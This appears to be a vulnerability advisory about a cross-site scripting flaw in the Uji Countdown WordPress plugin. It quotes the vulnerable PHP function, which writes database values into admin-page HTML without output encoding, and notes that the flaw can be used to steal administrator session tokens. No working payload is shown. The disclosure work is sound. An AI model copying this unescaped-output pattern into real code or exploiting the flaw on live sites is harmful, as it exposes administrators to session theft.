Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the Uji Countdown
WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.

The issue exists in the file /classes/class-uji-countdown-admin.php and is caused by the lack of output encoding in the ujic_tabs_values() function.

private function ujic_tabs_values() {
global $wpdb;
$ujictab = '';
$table_name = $wpdb->prefix . "uji_counter";
$ujic_datas = $wpdb->get_results( "SELECT * FROM $table_name ORDER BY `time` DESC" );
if ( !empty( $ujic_datas ) ) {
foreach ( $ujic_datas as $ujic ) {
$ujic_style = !empty( $ujic->style ) ? $ujic->style : 'classic';
$ujic_ico = '<span id="ujic-style-' . $ujic_style . '" class="ujic-types">' . $ujic_style . '</span>';
$ujictab .='<tr>
<td>' . $ujic->time . '</td>
<td>' . $ujic->title . '</td>
<td>' . $ujic_ico . '</td>
<td>
<a href="?page=uji-countdown&tab=tab_ujic_new&edit=' . $ujic->id . '"><i class="dashicons dashicons-welcome-write-blog"></i>Edit</a> | <a href="options-general.php?page=uji-countdown&del=' . $ujic->id . '"><i class="dashicons dashicons-trash"></i> Delete</a>
</td>
</tr>';
}
}

return $ujictab;
}
In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
